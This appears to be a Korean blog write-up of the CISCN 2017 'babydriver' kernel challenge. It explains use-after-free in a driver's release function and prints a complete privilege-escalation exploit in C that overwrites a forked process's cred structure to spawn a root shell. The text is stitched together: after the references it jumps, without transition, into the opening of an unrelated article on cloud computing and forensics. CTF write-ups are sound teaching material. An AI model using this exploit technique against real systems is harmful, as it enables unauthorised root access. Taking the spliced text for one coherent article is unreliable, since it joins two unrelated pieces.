해당 글은 CTF 문제를 풀 때 필요한 전반적인 커널 지식과 문제 해결을 위한 접근 방법과 구체적 단계들을 설명한다. 이를 통해 UAF 취약점이 어떻게 악용될 수 있는지, 그리고 이를 방어하기 위한 기법들이 무엇이 될 수 있는지 생각하고 이해할 수 있다.



2. kernel 지식

2.1. Memory Corruption

  • 메모리를 참조하는 부분에서 오류가 발생하는 취약점이다.
  • 공격자는 메모리가 corruption 되는 부분을 이용하여 공격자가 원하는 명령어를 참조하도록 수행이 가능하다.

UAF는 Heap 영역에서 일어나는 취약점이며, Heap은 메모리 영역 중 하나이기 때문에 메모리 구조와 Heap에 대해서 알아야 한다.


2.2. 메모리 구조

  1. Code 영역: 프로그램의 (컴파일된 기계어) 코드가 올라가는 곳이다.

  2. Data 영역: global variable과 static bariable이 할당되는 곳이다.

  3. Stack 영역: local variable과 parameter가 저장되는 곳이다.

    함수가 시작되면 해당 함수의 local variable이 stack에 저장되었다가 함수가 종료되면 해당 영역을 해제시킨다.

  4. Heap 영역: 빈 공간으로, 필요에 따라 동적으로 메모리를 할당하기도 하고 해제하기도 한다.

    Heap 영역은 Stack에서 관리하는 이외의 데이터 형태를 사용하며, 컴파일 시 크기를 알지 못하다가 프로그램이 실행되면 크기가 결정되는 동적 할당 메모리를 받는 데 사용된다.


2.3. Heap

데이터에서 최댓값과 최솟값을 빠르게 찾기 위해 고안된 완전 이진트리이다.

그림 1. https://velog.io/@jsbryan/%ED%9E%99-%EC%B5%9C%EC%86%8C-%ED%9E%99-%EC%B5%9C%EB%8C%80-%ED%9E%99, [이진트리 구조]

그림 1. [이진트리 구조]
https://velog.io/@jsbryan/%ED%9E%99-%EC%B5%9C%EC%86%8C-%ED%9E%99-%EC%B5%9C%EB%8C%80-%ED%9E%99

부모 노드의 인덱스는 1, 왼쪽 자식 노드부터 2, 3 순서이다.

Heap 구조는 위에서 말한대로 컴퓨터 안의 메모리 구조 중 사용자가 임의로 사용하는 메모리 공간으로, 대표적으로 malloc() 함수를 이용해 선언해주고, free() 함수를 통해 해제를 해준다.


2.4. First-Fit Algorithm

UAF에 대해 알기 전 또 알아야 할 것이 바로 First-Fit 알고리즘이다.

First-Fit 알고리즘은 메모리 할당 알고리즘들 중 하나로, 사용 가능한 공간들 중에서 첫번째로 찾아낸 공간을 할당하는 방식이다.

Linux OS는 해당 알고리즘을 채택하고 있다.
이외에도 Best-Fit, Worst-Fit 알고리즘도 존재한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char*a = malloc(20);     // 0xe4b010
char*b = malloc(20); // 0xe4b030
char*c = malloc(20); // 0xe4b050
char*d = malloc(20); // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20); // 0xe4b070
b = malloc(20); // 0xe4b050
c = malloc(20); // 0xe4b030
d = malloc(20); // 0xe4b010

위의 코드는 예시 코드다.

코드를 보면, 각각 20 바이트씩 Heap 영역에 4개의 영역을 할당해 주었고, free를 해준 후 다시 4개의 영역을 할당 받고 있다.

방식은 LIFO(Last In First Out)이다. 과정을 조금 더 설명해보겠다.

1
2
3
4
5
6
7
8
9
10
11
12
13
<free>

head → a → tail
head → b → a → tail
head → c → b → a → tail
head → d → c → b → a → tail

<malloc>

head → c → b → a → tail
head → b → a → tail
head → a → tail
head → tail



3. UAF 취약점

Heap 영역에서 할당된 (malloc) 공간을 free로 영역을 해제하고, 메모리를 다시 할당 시 같은 공간을 재사용 하면서 생기는 취약점이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
int* heap1, *heap2, *heap3;

heap1 = (int*)malloc(4);
*heap1 = 0xcaaaaaaa;

printf("heap1 address: %#x, %#x\n", heap1, *heap1);

free(heap1);

heap2 = (int*)malloc(4);
printf("heap2 address: %#x, %#x\n", heap2, *heap2);

free(heap2);

heap3 = (int*)malloc(1024);

printf("heap3 address: %#x, %#x\n", heap3, *heap3);
return 0;
}

예시 코드를 돌려보면 아래와 같은 결과가 나온다.

그림 2. [Use-After-free 취약점]

그림 2. [Use-After-free 취약점]
  1. heap1을 할당하고 free를 해주고, 다른 변수(heap2)에 같은 크기로 할당하면 다시 그 공간을 재사용하게 된다.
  2. free를 해주어도 그 전에 사용했던 공간에 할당이 가능하다.
  3. 사이즈를 다르게 입력하면 다른 공간에 할당한다.



4. UAF 문제 분석 및 풀이

CISCN CTF 2017에 출제된 babydriver 문제로 UAF가 어떻게 발생하는지 알아보자.


4.1. 디바이스 드라이버

먼저 본격적으로 코드 분석에 앞서, 사전지식으로 알아야 할 게 있다. 바로 디바이스 드라이버라는 것이다.

1. 디바이스 드라이버

키보드, 하드디스크 같은 디바이스들을 컨트롤하는 것이 바로 디바이스 드라이버이다.

디바이스 드라이버란 실제 장치 부분을 추상화시켜 사용자 프로그램이 정형화된 인터페이스를 통해 디바이스를 접근할 수 있도록 하는 프로그램이다. 리눅스에서는 모든 것을 파일로 간주하는데, 이러한 디바이스 드라이버도 파일로 관리된다.

/dev/ 아래에 들어있는 파일들이 바로 디바이스 드라이버 인터페이스고, 하드웨어와는 독립적으로 응용 프로그램이 파일 open, read 같은 함수로 접근이 가능하다.

그림 3. [Device Driver]

그림 3. [Device Driver]
https://jeongzero.oopy.io/c5c9c223-d17f-4bbc-b054-4d9fa1faffd1

Real Device가 실제 물리적인 하드웨어이고, Device Driver를 통해 실제 디바이스를 컨트롤하게 된다. 그러나 장치 별로 제공되는 디바이스 드라이버가 다르기 때문에 리눅스에서는 VFS라는 파일 시스템 기능을 지원한다.

또한 모든 디바이스 드라이버는 /dev 하위에 파일로 취급되고, 위에서 말한 open, read, write 등의 연산을 통해 디바이스를 컨트롤할 수 있다. 이러한 디바이스 파일에게는 고유한 번호와 이름이 할당되어 있다.

2. 디바이스 드라이버 종류

그림 4. [Device Driver 종류]

그림 4. [Device Driver 종류]
https://jeongzero.oopy.io/c5c9c223-d17f-4bbc-b054-4d9fa1faffd1

디바이스 드라이버는 크게 3가지로 나뉜다.

종류 설명 등록 함수 특징
Char device driver device를 파일처럼 접근하여 직접 read/write 수행 register_chrdev() 버퍼 캐시 사용 X, 자료의 순차성을 지님, 터미널, 키보드 사운드 카드, 프린터 등
block device disk와 같은 filesystem을 기반으로 block 단위로 data를 read/write register_blkdev() 블록 단위의 입출력 가능, 버퍼 캐시에 의한 내부 장치 표현, 파일 시스템에 의해 마운트되어 관리됨, 하드디스크 등
network device driver network의 physical layer와 frame 단위의 data 송수신 register_netdev() 네트워크 스택과 네트워크 하드웨어 사이에 위치해 데이터 송수신 담당, 이더넷, 네트워크 인터페이스 카드 등

4.2. setting

babydriver 문제 파일에는 bzImage, rootfs.cpio, boot.sh 파일들이 존재한다.

문제 분석을 위해 다음과 같이 환경을 세팅해주었다.


4.2.1. vmlinux 생성

bzImage를 이용해 vmlinux를 생성한다.
extract-vmlinux 스크립트를 이용하면 vmlinux를 쉽게 추출할 수 있다.
extract-vmlinux 스크립트는 아래 사이트는 참고하였다.
https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux

1
./extract-vmlinux bzImage > ./vmlinux 

4.2.2. rootfs.cpio 압축 해제

rootfs.cpio는 압축된 파일 시스템이므로 압축을 풀어서 파일 시스템을 추출한다.

rootfs.gz로 확장자를 변경한 뒤 gzip -d rootfs.gz로 압축을 풀고, cpio -id -v < rootfs.cpio 명령어를 통해 파일 시스템을 추출하였다.

lib/modules/4.4.72에 분석할 커널 모듈인 babydriver.ko가 존재한다.


4.2.3. qemu 설치

boot.sh를 실행시키기 위해 qemu를 설치한다.

분석을 진행한 환경이 x86-64이므로 아래의 명령어를 이용해 qemu를 설치해주었다.

1
apt-get install qemu-system-x86 

4.3. 문제 풀이 및 분석

4.3.1. boot.sh 확인

우선 boot.sh를 살펴보자.

1
2
3
#!/bin/bash

qemu-system-x86_64 -initrd ./test/rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

해당 코드를 살펴보면, smep이 걸려있는 걸 알 수 있다. 이는 user 공간에서 kernel 영역의 함수를 실행하지 못하게 하는 보호 기법이다.

kaslr은 걸려있지 않다는 것 또한 확인할 수 있었다.


4.3.2. 문제 풀이 아이디어

boot.sh로 부팅을 하면 ctf 권한을 가진 상태로 부팅이 된다.

그림 5. [boot.sh 실행]

그림 5. [boot.sh 실행]

rootfs/etc 폴더 아래에는 group, init.d, passwd가 존재한다.

그림 6. [rootfs/etc에 존재하는 파일]

그림 6. [rootfs/etc에 존재하는 파일]

그 중 passwd 파일을 살펴보면 root 권한이 존재하는 것을 확인할 수 있었다.

1
2
root:x:0:0:root:/root:/bin/sh
ctf:x:1000:1000:chal:/home/ctf:/bin/sh

ctf 권한을 root 권한으로 LPE(권한 상승) 하는 것이 문제의 목적이다.

이제 커널 모듈을 분석해보자.


4.3.3. babydriver.ko 분석

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int __cdecl babydriver_init()
{
__int64 v0; // rdx
int v1; // edx
__int64 v2; // rsi
__int64 v3; // rdx
int v4; // ebx
class *v5; // rax
__int64 v6; // rdx
__int64 v7; // rax

if ( (signed int)alloc_chrdev_region(&babydev_no, 0LL, 1LL, "babydev") >= 0 )
{
cdev_init(&cdev_0, &fops);
v2 = babydev_no;
cdev_0.owner = &_this_module;
v4 = cdev_add(&cdev_0, babydev_no, 1LL);
if ( v4 >= 0 )
{
v5 = (class *)_class_create(&_this_module, "babydev", &babydev_no);
babydev_class = v5;
if ( v5 )
{
v7 = device_create(v5, 0LL, babydev_no, 0LL, "babydev");
v1 = 0;
if ( v7 )
return v1;
printk(&unk_351, 0LL, 0LL);
class_destroy(babydev_class);
}
else
{
printk(&unk_33B, "babydev", v6);
}
cdev_del(&cdev_0);
}
else
{
printk(&unk_327, v2, v3);
}
unregister_chrdev_region(babydev_no, 1LL);
return v4;
}
printk(&unk_309, 0LL, v0);
return 1;
}

babydriver 커널 모듈을 초기화하는 과정으로, 커널에서 모듈을 불러올 때 가장 먼저 실행되는 함수이다.

alloc_chrdev_region() 함수로 Char Device의 번호를 할당한다.

1
2
3
4
5
6
7
void __cdecl babydriver_exit()
{
device_destroy(babydev_class, babydev_no);
class_destroy(babydev_class);
cdev_del(&cdev_0);
unregister_chrdev_region(babydev_no, 1LL);
}

모듈이 종료될 때 호출되는 함수이다.

init() 함수에서 할당한 디바이스를 제거하는 함수다.

1
2
3
4
5
6
7
8
9
10
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL, v2);
return 0;
}

open을 하면, 커널에서 동적 할당을 통해 64바이트 만큼 babydev_struct 구조체의 device_buf에 힙을 할당한다.

그리고 babydev_struct 구조체의 device_buf_len 필드에 크기 64를 buf_len 필드에 저장한다.

kmem_cache_alloc_trace() 함수가 바로 동적 할당 함수이다.

babydev 구조체는 아래와 같다.

1
2
3
4
5
struct babydevice_t
{
char *device_buf;
size_t device_buf_len;
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

babyread() 함수는 device_buf 필드가 null이면 -1을 반환한다.
length(v4)buf_len을 비교해 buf_len이 더 크면 copy_to_user() 함수를 호출하여 kernel 영역의 테이블을 user 공간인 buffer로 복사한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

read 함수와 마찬가지로 device_bufnull이면 -1을 반환한다.
device_buf_lenv4보다 크면 copy_from_user() 함수를 호출해 user 영역인 buffer 테이블을 kernel 영역으로 복사한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 37748928LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
result = -22LL;
}
return result;
}

2번째 인자 command0x10001(65537)이면 device_buf를 해제(free)하고 3번째 인자(arg(v4))만큼 힙을 재할당하여 초기화한다. 이때 힙 영역은 open 시에 할당 받은 힙 영역이다. buf_len도 마찬가지다.

1
2
3
4
5
6
7
8
9
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}

release() 함수는 close() 함수가 호출될 때 호출된다. device_buf를 해제하지만 해제하면서 초기화 작업을 하지는 않는다.
해제 후 초기화를 안 하기 때문에 UAF가 발생하게 된다.
즉, Dangling Pointer(해제된 메모리 영역을 가리키는 포인터)가 된다.


4.3.4. struct cred 이용

초기 open()ioctl() 시에 cred 구조체 사이즈인 168 바이트를 인자로 전달하여 해당 크기의 청크를 할당받게 한다. 그리고 close()를 하면 168 바이트 힙 청크를 가리키는 전역변수에 들어있는 값은 Dangling Pointer가 된다.

그리고 fork() 함수를 호출하여 fork() 내부에서 힙 할당을 하는 로직을 이용하여 free된 청크(현재 dangling pointer 주소인 청크)를 재할당받는다.

fork에서 힙을 할당받는 로직은 바로 부모의 pcb 정보 중 cred 구조체 필드들을 복사하기 위함이다.

  • danling pointer 만들기
  • fork 통해 dangling pointer를 할당받게 하고 (이는 cred 구조체 영역)
  • 저 영역은 babywrite()를 통해 user 공간의 값을 커널영역으로 복사할 수 있음
  • 즉, fork에서 할당받은 cred 구조체 영역을 수정 가능하단 소리 → uid부분을 0으로 만들 수 있음
  • 그 다음 user 영역에서 시스템 함수를 그냥 실행시키면 LPE가 일어남. (단, 이는 fork한 자식 프로세스 내에서 실행해야 함)

4.3.5. 함수 호출

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#ifdef __ARCH_WANT_SYS_CLONE
#ifdef CONFIG_CLONE_BACKWARDS
SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp,
int __user *, parent_tidptr,
unsigned long, tls,
int __user *, child_tidptr)
#elif defined(CONFIG_CLONE_BACKWARDS2)
SYSCALL_DEFINE5(clone, unsigned long, newsp, unsigned long, clone_flags,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#elif defined(CONFIG_CLONE_BACKWARDS3)
SYSCALL_DEFINE6(clone, unsigned long, clone_flags, unsigned long, newsp,
int, stack_size,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#else
SYSCALL_DEFINE5(clone, unsigned long, clone_flags, unsigned long, newsp,
int __user *, parent_tidptr,
int __user *, child_tidptr,
unsigned long, tls)
#endif
{
return _do_fork(clone_flags, newsp, 0, parent_tidptr, child_tidptr, tls);
}
#endif

권한 상승을 위해 fork() 함수를 호출해야 하는데 이를 호출하면 시스템 콜 clone() 함수를 호출하여 사용 처리가 된다.

clone() 내부에서는 do_fork() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
long _do_fork(unsigned long clone_flags,
unsigned long stack_start,
unsigned long stack_size,
int __user *parent_tidptr,
int __user *child_tidptr,
unsigned long tls)
{
struct completion vfork;
struct pid *pid;
struct task_struct *p;
int trace = 0;
long nr;
/*
* Determine whether and which event to report to ptracer. When
* called from kernel_thread or CLONE_UNTRACED is explicitly
* requested, no event is reported; otherwise, report if the event
* for the type of forking is enabled.
*/
if (!(clone_flags & CLONE_UNTRACED)) {
if (clone_flags & CLONE_VFORK)
trace = PTRACE_EVENT_VFORK;
else if ((clone_flags & CSIGNAL) != SIGCHLD)
trace = PTRACE_EVENT_CLONE;
else
trace = PTRACE_EVENT_FORK;
if (likely(!ptrace_event_enabled(current, trace)))
trace = 0;
}
p = copy_process(clone_flags, stack_start, stack_size,
child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
add_latent_entropy();
if (IS_ERR(p))
return PTR_ERR(p);
...

이는 do_fork() 함수이다. 이 함수에서는 copy_process() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#ifdef CONFIG_PROVE_LOCKING
DEBUG_LOCKS_WARN_ON(!p->hardirqs_enabled);
DEBUG_LOCKS_WARN_ON(!p->softirqs_enabled);
#endif
retval = -EAGAIN;
if (atomic_read(&p->real_cred->user->processes) >=
task_rlimit(p, RLIMIT_NPROC)) {
if (p->real_cred->user != INIT_USER &&
!capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN))
goto bad_fork_free;
}
current->flags &= ~PF_NPROC_EXCEEDED;
retval = copy_creds(p, clone_flags);
if (retval < 0)
goto bad_fork_free;
/*
* If multiple threads are within copy_process(), then this check
* triggers too late. This doesn't hurt, the check is only there
* to stop root fork bombs.
*/
retval = -EAGAIN;
if (nr_threads >= max_threads)
goto bad_fork_cleanup_count;
...

copy_process() 함수이다.

task_struct를 인자로 copy_creds() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
struct cred *new;
int ret;
if (
#ifdef CONFIG_KEYS
!p->cred->thread_keyring &&
#endif
clone_flags & CLONE_THREAD
) {
p->real_cred = get_cred(p->cred);
get_cred(p->cred);
alter_cred_subscribers(p->cred, 2);
kdebug("share_creds(%p{%d,%d})",
p->cred, atomic_read(&p->cred->usage),
read_cred_subscribers(p->cred));
atomic_inc(&p->cred->user->processes);
return 0;
}
new = prepare_creds();
if (!new)
return -ENOMEM;
if (clone_flags & CLONE_NEWUSER) {
ret = create_user_ns(new);
if (ret < 0)
goto error_put;
}
...

copy_creds() 함수이다.

이 함수 내부에서는 prepare_creds() 함수를 호출한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
...

prepare_creds() 함수 내부에서는 kmem_Cache_alloc() 함수를 호출한다. 위에서부터 함수 내부로 계속해서 들어왔더니 아래의 순서대로 호출된다.

fork()clone()do_fork()copy_process()copy_creds()prepare_creds()kmem_cache_alloc()
`

4.3.6. Exploit

fork() 함수를 호출하면 기존 cred를 복사할 공간이 필요하다.

cred 구조체의 크기는 168 바이트이다.

  1. open() 함수를 2번 호출하여 힙을 할당
  2. babyioctl() 함수를 호출하여 168 바이트 만큼 재할당
  3. close() 함수를 호출하여 힙을 해제(free)
  4. fork() 함수 호출
  5. write() 함수를 호출하여 struct cred 값 변경

3번까지 진행하면 전역변수의 값은 Dangling Pointer가 된다.

그 후 4번을 진행하면 해제 한 힙 영역에 struct cred가 할당되고, Dangling Pointer는 할당된 168 바이트 힙 영역을 가리키게 된다.

5번이 진행되면 write() 함수를 호출하여 struct cred를 0으로 수정 후 system(”/bin/sh”) 함수를 호출하면 root 권한의 쉘을 획득하게 된다.


4.3.7. Exploit code

exploit.c는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#define COMMAND 0x10001

int main()
{
int f1 = open("/dev/babydev", O_RDWR);
int f2 = open("/dev/babydev", O_RDWR);

ioctl(f1, COMMAND, 168);
close(f1);

int pid = fork();

if(pid < 0)
{
printf("ERROR");
exit(-1);
}
else if(pid == 0)
{
char fake_cred[30] = { 0, };

write(f2, fake_cred, 28);
sleep(1);

system("/bin/sh");
exit(0);
}
else
{
wait(0);
}

close(f2);

return 0;
}

익스의 성공 여부를 확인하기 위해 boot.sh 파일을 아래와 같이 수정해주었다.

1
2
3
4
5
6
7
8
9
10
#!/bin/bash

gcc exploit.c -static -o rootfs/exploit

pushd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
popd

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -moni
tor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

./boot.sh를 실행한 뒤, ./exploit을 실행하면 LPE가 성공한 것을 확인할 수 있다.

그림 7. [LPE를 통한 root 권한 획득]

그림 7. [LPE를 통한 root 권한 획득]



5. 마무리하며

이번 CTF 문제를 해결하면서 커널에서 발생하는 Use-After-Free (UAF) 취약점의 심각성과 이를 악용하는 방법에 대해 이해할 수 있었다. 문제 해결 과정에서 메모리 할당 및 해제 관리가 얼마나 중요한지, 그리고 작은 부주의가 어떻게 심각한 보안 위협으로 이어질 수 있는지를 확인할 수 있었다.

앞으로 커널 보안에 대한 깊이 있는 이해를 위해 커널 구조와 메모리 관리, 동기화 메커니즘 등을 심도 있게 공부하며 리눅스 커널 소스 코드를 분석해보는 것도 좋은 방법이 될 수 있다.



6. 참고문헌

[1] [Heap Exploit] UAF(Use After Free) 기법 이론설명. (N.d.).
https://dokhakdubini.tistory.com/35

[2] Use After Free (UAF) 너 뭐임?. (N.d.).
https://seclab614.tistory.com/3

[3] Kernel (6) - CISCN 2017 babydriver write-up (Linux kernel UAF). (N.d.).
https://sunrinjuntae.tistory.com/130

[4] 까망눈 연구소. (N.d.).
https://jeongzero.oopy.io/

[5] [Linux] QEMU 가상머신에 OS 설치하기. (N.d.).
https://stackframe.tistory.com/28

[6] [CISCN CTF 2017] babydriver (kernel exploit, kUAF). (N.d.).
https://koharinn.tistory.com/561#google_vignette

[7] [Linux Kernel] CISCN 2017 babydriver. (N.d.).
https://applemasterz17.tistory.com/229

[8] [CISCN CTF 2017] babydriver. (N.d.).
http://ipwn.kr/index.php/2020/04/05/ciscn-ctf-2017-babydriver/

1. 들어가며

1990년대 중반 인터넷이 상용화된 이후 IT 분야는 비약적으로 발전하여, 이제는 어디에서나 수준 높은 IT 기술을 발견할 수 있는 시대가 되었다. 휴대폰, 노트북 등 누가 봐도 ‘컴퓨터’인 것들이 있는 반면, 우리가 자연스럽게 사용하면서도 그 속에 든 복잡한 기술은 잘 모르는 경우도 많다. 클라우드가 대표적인 예시이다.

클라우드는 많은 대중들이 익숙하게 사용하는 단어이다. 아이폰의 iCloud나 삼성 클라우드 서비스를 사용하는 사람을 찾는 것은 그다지 어렵지 않다. 두 서비스 모두 휴대폰에 저장되는 데이터를 클라우드에 백업 하거나, 부족한 휴대폰 용량을 대신하여 사용하거나, 기기간의 데이터 이동을 자유롭게 하기 위해 사용된다. 이런 식의 서비스를 제공하지만 조금 다른 이름을 가진 제품도 있다. 구글 드라이브, 네이버 MyBox, Microsoft OneDrive 등은 다양한 기기에서 파일을 공유할 수 있게끔 한다. 얼핏 다른 형태의 이름이 복잡하지만, 위에서 말한 모든 서비스는 ‘클라우드 스토리지 서비스’로 축약된다. 쉽게 말하자면 ‘소비자가 인터넷에 데이터를 저장할 수 있게끔 하는 서비스’다.

클라우드는 단순한 스토리지 서비스에만 사용되지 않는다. 소프트웨어 등 일반인들에게 직접적으로 느껴지지 않는 부분에서도 클라우드는 활발하게 사용되고 있다. 2023년 과기정통부에서 실시한 ‘2023년 기업체 지능정보기술 이용률’에 따르면 클라우드 컴퓨팅을 이용하는 회사는 69.5%에 달한다.

그럼 클라우드는 아무런 문제가 없는가? 기술적인 한계, 호환성의 문제, 복잡한 구성 등 클라우드 컴퓨팅의 문제에 대해서는 다양한 의견이 있겠지만 보안, 개중에서도 포렌식의 관점으로 클라우드를 뜯어보자. IT의 발전이 사이버범죄의 발전과 직결되는 시점에서 클라우드 컴퓨팅의 등장이 사이버범죄에 영향을 미친 것인 필연적이다. 기존 범죄 유형을 발전시킨 범죄 물론이고 클라우드 컴퓨팅만의 특징을 살린 범죄들도 존재한다. 예를 들어, “불법 파일이 구글 드라이브에 저장되어 있다면 포렌식 조사를 어떻게 진행해야 할까?” 이 글은 이 질문에서 시작되었다.

의문을 해결하기 위해, 클라우드 개념부터 유형별 분류, 그에 따른 예시. 그리고 클라우드 컴퓨팅과 함께 등장한 포렌식 시점에서의 논의에 대하여 알아볼 것이다. 이 글이 클라우드를 잘 모르는 사람들, 클라우드를 공부하고 싶은 사람들, 그리고 포렌식과 클라우드에 관심을 가지는 모든 사람들에게 도움이 되길 바란다.


2. 클라우드 컴퓨팅 (Cloud Computing)

클라우드는 왜 등장했을까? 클라우드 이전에는 물리적인 컴퓨팅 자원만을 이용해 여러 서비스를 개발하고 사용해야만 했다. 이런 식으로 기업이 서버를 자체적으로 관리하는 방식을 On-premise(온프레미스)라 한다. 문제는, 물리적 컴퓨팅 자원에는 극복할 수 없는 비용적, 공간적 한계가 있다는 것이다. 예를 들어, 64GB 휴대폰의 저장 공간이 다 찬 경우를 생각해보자. 우린 SD 카드를 사거나 더 큰 용량의 휴대폰을 살 것이다. 하지만 모두가 추가적인 하드웨어를 살 수 있는 것은 아니다. 이런 문제점을 해결할 수 있는 것이 클라우드다.

2.1. 클라우드 기술의 발전

클라우드 컴퓨팅의 개념의 시초는 1960년대에 최초로 등장했다. 1965년 존 매카시(John McCarthy)의 “전화 시스템이 공공 유틸리티인 것처럼 컴퓨팅 또한 공공 유틸리티로 조직될 수 있다”는 말이 그 시작이다. 당시 클라우드는 AI의 존재만큼 뭉뚱그린 가설에 불가했지만 가상화 기술을 시작으로 다양한 컴퓨터 기술과 개념이 발전했고, 이들은 클라우드 컴퓨팅이라는 용어로 통합되어 진화해왔다.

클라우드의 개념이 본격적으로 적용된 것은 1990년대부터였다. Salesforce는 Salesforce.com 이라는 웹사이트를 통해 엔터프라이즈 응용프로그램을 제공하는 서비스형 소프트웨어(SaaS)모델을 사용했다. 흔히 말하는 클라우드 컴퓨팅, 즉 서비스형 인프라(IaaS)는 2006년 Amazon에서 개발한 Amazon Elastic Compute Could(EC2)로 시작되었다. 아마존 EC2는 사용자들이 컴퓨터에 액세스하여 클라우드에서 자신의 응용프로그램을 실행할 수 있게 해주었다. 이후 2008년 구글의 구글 앱 엔진(Google App Engine)에 의해 서비스형 플랫폼(PaaS) 개념이 대두되었고, 2009년 마이크로소프트의 Window Azure, 오픈소스 클라우드 컴퓨팅 플랫폼인 OpenStack 프로젝트 등 클라우드 컴퓨팅 서비스의 발전이 끊임없이 이어졌다. 지금도 그 발전은 가속화되고 있다.

2.2. 클라우드 컴퓨팅 개념

클라우드 컴퓨팅은 여러가지 기술이 통합하여 만들어졌기 때문에 한 문장으로 정의하는 것이 쉽지 않다. 미국 표준기술국 (NIST)에 따르면 클라우드 컴퓨팅은 누구나, 자신이 필요로 할 때, 네트워크를 통하여 쉽고 편리하게 사용할 수 있는 공유 컴퓨팅 리소스를 제공하는 모델이다. IBM은 애플리케이션부터 데이터 센터까지 모든 on demand 컴퓨팅 리소스를 인터넷을 통해 요금을 받고 제공하는 것으로 소개한다.

결론은 단순하다. 클라우드 컴퓨팅은 ‘언제’ ‘어디에서나’ ‘네트워크’를 통해 ‘IT 자원’을 사용하고 ‘대가’를 지불하는 것이다. 여기에서 IT 자원에는 서버, 저장소, 네트워킹, 소프트웨어 등 우리가 생각하는 대부분의 컴퓨팅 서비스가 포함된다.

